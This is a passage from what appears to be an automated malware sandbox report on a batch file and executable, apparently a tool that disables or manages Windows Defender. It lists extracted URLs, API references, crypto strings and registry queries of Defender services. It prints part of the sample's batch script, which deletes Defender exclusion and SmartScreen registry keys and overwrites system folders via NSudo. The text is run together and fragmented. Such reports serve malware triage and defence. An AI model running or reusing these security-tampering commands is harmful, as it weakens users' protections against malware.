88866959-07B0-4ED8-8EF5-54BC7443D28C 8a696d12-576b-422e-9712-01b9dd84b4468C38232E-3A45-4A27-92B0-1A16A975F669 8E67B5C5-BAD3-4263-9F80-F769D50884F7 A2D75874-6750-4931-94C1-C99D3BC9D0C7a463fcb9-6b1c-4e0d-a80b-a2ca7999e25d A7C452EF-8E9F-42EB-9F2B-245613CA0DC9 C8DFF91D-B243-4797-BAE6-C461B65EDED3D5F7E36B-5B38-445D-A50F-439B8FCBB87A DACA056E-216A-4FD1-84A6-C306A017ECEC DBF393FC-230C-46CC-8A85-E9C599A81EFBE041C90B-68BA-42C9-991E-477B73A75C90 E476E4C0-409C-43CD-BBC0-5905B4138494 F2102C37-90C3-450C-B3F6-92BE1693BDF2F80FC80C-6A04-46FB-8555-D769E334E9FC FEEE9C23-C4E2-4A34-8C73-FE8F9786C8B4 D8559EB9-20C0-410E-BEDA-7ED416AECC2A) do (set /a Counter+=1set /a Counter64+=1exit /b:RestoreDefenderif not exist "%SystemRoot%\System32\config\systemprofile\Desktop" md "%SystemRoot%\System32\config\systemprofile\Desktop"set "BackupFolder="if not defined BackupFolder goto ManageDefenderpushd "%BackupFolder%"copy /y "Files\System32" "%SystemRoot%\System32"copy /y "Files\SysWOW64" "%SystemRoot%\SysWOW64"copy /y "Files\Windows\Containers\WindowsDefenderApplicationGuard.wim" "%SystemRoot%\Containers\"copy /y "Files\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim" "%SystemRoot%\Containers\serviced"xcopy "Folder\Program Files\*" "%ProgramFiles%\" /E /H /K /Yxcopy "Folder\Program Files (x86)\*" "%ProgramFiles(x86)%\" /E /H /K /Yxcopy "Folder\ProgramData\*" "%ProgramData%\" /E /H /K /Yxcopy "Folder\System32\*" "%SystemRoot%\System32" /E /H /K /Yxcopy "Folder\SysWow64\*" "%SystemRoot%\SysWow64" /E /H /K /Yxcopy "Folder\Windows\*" "%SystemRoot%\" /E /H /K /Yxcopy "Folder\WinSxS\*" "%SystemRoot%\WinSxS\" /E /H /K /Yfor %%f in ("RegEdit\*.reg") do reg import "%%f"for %%f in ("ServicesDrivers\*.reg") do reg import "%%f"reg delete "HKLM\Software\Microsoft\Windows Defender\Exclusions\Paths" /freg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /freg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /freg delete "HKLM\Software\Policies\Microsoft\MRT" /freg delete "HKLM\Software\DefenderKiller" /freg delete "HKLM\Software\DK" /f) >nul 2>&1popdNSudoLG -U:%ArgNsudo% -ShowWindowMode:Hide start "" /min cmd.exe /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /fNSudoLG -U:%ArgNsudo% -ShowWindowMode:Hide start "" /min cmd.exe /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /fcall :AddExclusionRestore:CheckUpdate)) else ( exit" (Indicator: ""xcopy ") in Source: 7e5cy7w4O.bat52:Tdd6,Found URL "https://www.nirsoft.netopenif" - Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found URL "http://nircmd.nirsoft.net/%s.htmlhttp://nircmd.nirsoft.netntdll.dllntquerysysteminformationntloaddriverntunloaddriverntopensymboliclinkobjectntquerysymboliclinkobjectntqueryobjectntsuspendprocessntresumeprocesslookupprivilegevalueaadjusttokenprivilegesseshutdownprivilegeinitiatesystemshutdownaabortsystemshutdownalockworkstationsetsystempowerstaterasdlg.dllrasdialdlgawininet.dllinternetdialanetapi32.dllnetschedulejobaddnetremotetodnetapibufferfreecreatetoolhelp32snapshotmodule32firstmodule32nextprocess32firstprocess32nextpsapi.dllgetmodulebasenameaenumprocessmodulesgetmodulefilenameexaenumprocessesgetmoduleinformation\systemrootqueryfullprocessimagenamearasapi32.dllrassetentrydialparamsarasenumconnectionsarasgetconnectstatusarashanguparasgetentrydialparamsarasdialahkey_local_machinehklmhkey_current_userhkcuhkey_classes_roothkcrhkey_usershkey_current_confighkccsyslistview32systreeview32regedit_regeditregedit.exeopenscmanageraopenserviceachangeserviceconfigacloseservicehandlequeryserviceconfigacontrolserviceenumservicesstatusastartserviceaqueryservicestatusservicesactiveshell32.dllshgetspecialfolderpathashemptyrecyclebinafavoritesrecentcookiesappdatadesktopstart" - Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006300.00000000.98189.00800000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20windows%20third%20party%20component%20ca%202014.crl0u0s0qehttp://www.microsoft.com/pkiops/certs/microsoft%20windows%20third%20party%20component%20ca%202014.crt0]p7spwz4'2]r" - Source: "00000000-00006300.00000000.98189.00972000.00000080.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0t,7die'?s" - Source: "00000000-00006300.00000000.98189.00972000.00000080.mdmp") Found URL "https://www.microsoft.com/en-us/windows" - Source: "00000000-00006300.00000000.98189.00972000.00000080.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00006300.00000000.98189.00972000.00000080.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0t/ygql" - Source: "00000000-00006300.00000000.98189.00972000.00000080.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00006300.00000000.98189.00972000.00000080.mdmp") Found URL "https://nsudo.m2team.org:" - Source: "00000000-00006880.00000000.89225.737C2000.00000002.mdmp") Found URL "https://github.com/thdub/nsudo_installer" - Source: "00000000-00006880.00000000.89225.737C2000.00000002.mdmp") Found URL "https://nsudo.m2team.org.format:" - Source: "00000000-00006880.00000000.89225.737C2000.00000002.mdmp") Found URL "https://nsudo.m2team.org.formato:" - Source: "00000000-00006880.00000000.89225.737C2000.00000002.mdmp") Found URL "https://nsudo.m2team.org.gramfile(x86gramopen:sudolgystemuser:" - Source: "00000000-00006880.00000000.89225.B7B60000.00000004.mdmp") Found URL "https://g" - Source: "00000000-00006880.00000000.89225.B7B60000.00000004.mdmp")53:T7e5,Found registry query API: "RegOpenKeyExW" in file "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" Found registry query API: "RegQueryValueExW" in file "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" Found registry query API: "RegQueryValueExW" in "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp" Found registry query API: "RegQueryValueExA" in "00000000-00004692.00000000.89330.40017000.00000002.mdmp" Found registry query API: "RegOpenKeyExA" in "00000000-00004692.00000000.89330.40017000.00000002.mdmp" Found registry query API: "RegQueryInfoKeyA" in "00000000-00004692.00000000.89330.40017000.00000002.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00004960.00000000.88566.00EEE000.00000002.mdmp" Found registry query API: "RegEnumValueW" in "00000000-00004960.00000000.88566.00EEE000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00004960.00000000.88566.00EEE000.00000002.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00004960.00000000.88566.00EEE000.00000002.mdmp" Found registry query API: "RegQueryInfoKeyW" in "00000000-00004960.00000000.88566.00EEE000.00000002.mdmp" Found registry query API: "RegSaveKeyExW" in "00000000-00004960.00000000.88566.00EEE000.00000002.mdmp" Found registry query API: "RegGetValueW" in "00000000-00004960.00000000.88566.00EEE000.00000002.mdmp" Found registry query API: "RegOpenKeyW" in "00000000-00004960.00000000.88566.00EEE000.00000002.mdmp" Found registry query API: "RegSaveKeyW" in "00000000-00004960.00000000.88566.00EEE000.00000002.mdmp" Found registry query API: "RegEnumKeyW" in "00000000-00004960.00000000.88566.00EEE000.00000002.mdmp" Found registry query API: "NtQueryKey" in "00000000-00004960.00000000.88566.00EEE000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00006000.00000000.97850.01251000.00000002.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00006000.00000000.97850.01251000.00000002.mdmp"54:Td8b,Found string "AES128" (Indicator: "aes"; File: "00000000-00006000.00000000.97850.011A1000.00000020.mdmp") Found string "AES128" (Indicator: "aes128"; File: "00000000-00006000.00000000.97850.011A1000.00000020.mdmp") Found string "AES192" (Indicator: "aes"; File: "00000000-00006000.00000000.97850.011A1000.00000020.mdmp") Found string "AES192" (Indicator: "aes192"; File: "00000000-00006000.00000000.97850.011A1000.00000020.mdmp") Found string "7zAES" (Indicator: "aes"; File: "00000000-00006000.00000000.97850.011A1000.00000020.mdmp") Found string "ZipFile" (Indicator: "zipfile"; File: "00000000-00006300.00000000.98189.00972000.00000080.mdmp") Found string "AES256CBC:3" (Indicator: "aes"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found string "AES256CBC:3" (Indicator: "aes256"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found string "AES256CBC:2" (Indicator: "aes"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found string "AES256CBC:2" (Indicator: "aes256"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found string "AES256CBC:1" (Indicator: "aes"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found string "AES256CBC:1" (Indicator: "aes256"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found string "AES192" (Indicator: "aes"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found string "AES192" (Indicator: "aes192"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found string "AES128" (Indicator: "aes"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found string "AES128" (Indicator: "aes128"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found string "7zAES" (Indicator: "aes"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found string "Twofish" (Indicator: "twofish"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found string "Blowfish" (Indicator: "blowfish"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found string "pkAES-256" (Indicator: "aes"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found string "pkAES-192" (Indicator: "aes"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found string "pkAES-128" (Indicator: "aes"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found string "3DES-112" (Indicator: "3des"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found string "3DES-112" (Indicator: "3des-112"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found string "3DES-168" (Indicator: "3des"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found string "3DES-168" (Indicator: "3des-168"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found string "WzAES" (Indicator: "aes"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found string "AES256CBC" (Indicator: "aes"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found string "AES256CBC" (Indicator: "aes256"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found string "P~AeS" (Indicator: "aes"; Source: "00000000-00006000.00000000.97850.01268000.00000004.mdmp") Found string "PQAeS~" (Indicator: "aes"; Source: "00000000-00006000.00000000.97850.01268000.00000004.mdmp")55:T9bc,Found reference to API "GetDC" (Indicator: "GetDC"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00006300.00000000.98189.00800000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00006300.00000000.98189.00800000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00006300.00000000.98189.00800000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00006300.00000000.98189.00800000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00006300.00000000.98189.00800000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00006300.00000000.98189.00800000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00006300.00000000.98189.00800000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00006300.00000000.98189.00800000.00000004.mdmp")56:T46c,Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "FindFirstFileExA" (Indicator: "FindFirstFile"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp")57:Te5a,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "wQueryInformationProcess" (Indicator: "QueryInformationProcess"; File: "00000000-00006300.00000000.98189.00972000.00000080.mdmp") Found reference to API "IoGetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "00000000-00006300.00000000.98189.00972000.00000080.mdmp") Found reference to API "PsGetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "00000000-00006300.00000000.98189.00972000.00000080.mdmp") Found reference to API "PsLookupProcessByProcessId" (Indicator: "PsLookupProcessByProcessId"; File: "00000000-00006300.00000000.98189.00972000.00000080.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "NtQueryInformationProcess" (Indicator: "QueryInformationProcess"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "Module32First" (Indicator: "Module32First"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "Module32Next" (Indicator: "Module32Next"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "Process32First" (Indicator: "Process32First"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "Process32Next" (Indicator: "Process32Next"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "EnumProcessModules" (Indicator: "EnumProcessModules"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "EnumProcesses" (Indicator: "EnumProcesses"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00004960.00000000.88566.00EEE000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004960.00000000.88566.00EEE000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00004960.00000000.88566.00EEE000.00000002.mdmp")58:T6f9,Observed string: "%WINDIR%\system32\cmd.exe /c tasklist" (Indicator: " tasklist") in Source: 00000000-00006604-00000C47-53186943186 Observed string: "%WINDIR%\System32\tasklist.exe" [Source: 00000000-00006092-00000BC0-408167637] Observed string: "%WINDIR%\system32\tasklist.exe" [Source: 00000000-00006092-00000C47-1865649086] Observed string: "/c tasklist" (Indicator: " tasklist") in Source: cmd.exe Observed string: "_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe AutoIt3_x64.exe backgroundTaskHost.exe mitmdump.exe conhost.exe cmd.exe conhost.exe dllhost.exe cmd.exe tasklist.exe" [Source: 00000000-00001124.00000000.95818.65970000.00000004.mdmp] Observed string: "C:\WINDOWS\system32\tasklist.exe" [Source: 00000000-00001376.00000000.90753.51B90000.00000004.mdmp 00000000-00001376.00000001.90767.51B90000.00000004.mdmp] Observed string: ":\WINDOWS\system32\tasklist.exe" [Source: 00000000-00001376.00000000.90753.51B90000.00000004.mdmp 00000000-00001376.00000001.90767.51B90000.00000004.mdmp] Observed string: "\Device\HarddiskVolume2\Windows\System32\tasklist.exe" [Source: 00000000-00001376.00000000.90753.51B90000.00000004.mdmp 00000000-00001376.00000001.90767.51BAA000.00000004.mdmp] Observed string: "tasklist.exe" [Source: 00000000-00001376.00000001.90767.51BD1000.00000004.mdmp 00000000-00001376.00000001.90767.51F10000.00000004.mdmp] Observed string: "backgroundTaskHost.exe mitmdump.exe conhost.exe cmd.exe conhost.exe dllhost.exe cmd.exe tasklist.exe" [Source: 00000000-00004320.00000000.92242.74F60000.00000004.mdmp] Observed string: "AutoIt3_x64.exe backgroundTaskHost.exe mitmdump.exe conhost.exe cmd.exe conhost.exe dllhost.exe cmd.exe tasklist.exe" [Source: 00000000-00004836.00000000.93867.02A50000.00000004.mdmp]59:Tb6b,Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "ZwQueryInformationFile" (Indicator: "QueryInformationFile"; File: "00000000-00006300.00000000.98189.00972000.00000080.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00004960.00000000.88566.00EEE000.00000002.mdmp") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; Source: "00000000-00004960.00000000.88566.00EEE000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00004960.00000000.88566.00EEE000.00000002.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp")5a:T40d,Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "GetModuleFileNameExA" (Indicator: "GetModuleFileName"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "GetModuleFileNameW" (Indicator: "GetModuleFileName"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found reference to API "GetModuleFileNameA" (Indicator: "GetModuleFileName"; Source: "00000000-00006300.00000000.98189.00800000.00000004.mdmp")5b:T6d7,Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "LookupAccountSidW" (Indicator: "LookupAccountSid"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "NtQueryInformationProcess" (Indicator: "NtQueryInformationProcess"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "GetUserNameExW" (Indicator: "GetUserName"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "WTSQueryUserToken" (Indicator: "WTSQueryUserToken"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "NtQueryObject" (Indicator: "NtQueryObject"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00004960.00000000.88566.00EEE000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp")5c:T499,Found string "Cannot open encrypted archive. Wrong password?" (Indicator: "password"; File: "00000000-00006000.00000000.97850.011A1000.00000020.mdmp") Found string "Enter password (will not be echoed):" (Indicator: "password"; File: "00000000-00006000.00000000.97850.011A1000.00000020.mdmp") Found string "Headers Error in encrypted archive. Wrong password?" (Indicator: "password"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found string "Wrong password" (Indicator: "password"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found string "Data Error in encrypted file. Wrong password?" (Indicator: "password"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found string "CRC Failed in encrypted file. Wrong password?" (Indicator: "password"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found string "Cannot open encrypted archive. Wrong password?" (Indicator: "password"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found string "Enter password (will not be echoed):" (Indicator: "password"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp")5d:Tb84,Process "reg.exe" with commandline "reg query "HKU\\S-1-5-19"" (UID: 00000000-00004960) Process "reg.exe" with commandline "reg query "HKU\\S-1-5-19"" (UID: 00000000-00006740) Process "reg.exe" with commandline "reg query "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v "EnableLUA"" (UID: 00000000-00004724) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WinDefend"" (UID: 00000000-00004868) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\MDCoreSvc"" (UID: 00000000-00006836) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WdNisSvc"" (UID: 00000000-00007016) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\Sense"" (UID: 00000000-00004320) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\wscsvc"" (UID: 00000000-00005096) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\SgrmBroker"" (UID: 00000000-00005024) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\SecurityHealthService"" (UID: 00000000-00005164) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\webthreatdefsvc"" (UID: 00000000-00007200) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\webthreatdefusersvc"" (UID: 00000000-00004836) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WdNisDrv"" (UID: 00000000-00007364) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WdBoot"" (UID: 00000000-00007312) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WdFilter"" (UID: 00000000-00001952) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\SgrmAgent"" (UID: 00000000-00002700) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\MsSecWfp"" (UID: 00000000-00003388) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\MsSecFlt"" (UID: 00000000-00001124) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\MsSecCore"" (UID: 00000000-00006704) Process "reg.exe" with commandline "reg query "HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion" /v "ProductName"" (UID: 00000000-00006864) Process "reg.exe" with commandline "reg query HKLM\\System\\CurrentControlset\\Services\\WdFilter" (UID: 00000000-00005036) Process "reg.exe" with commandline "reg query "HKLM\\Software\\Microsoft\\Windows Defender"" (UID: 00000000-00007376) Process "reg.exe" with 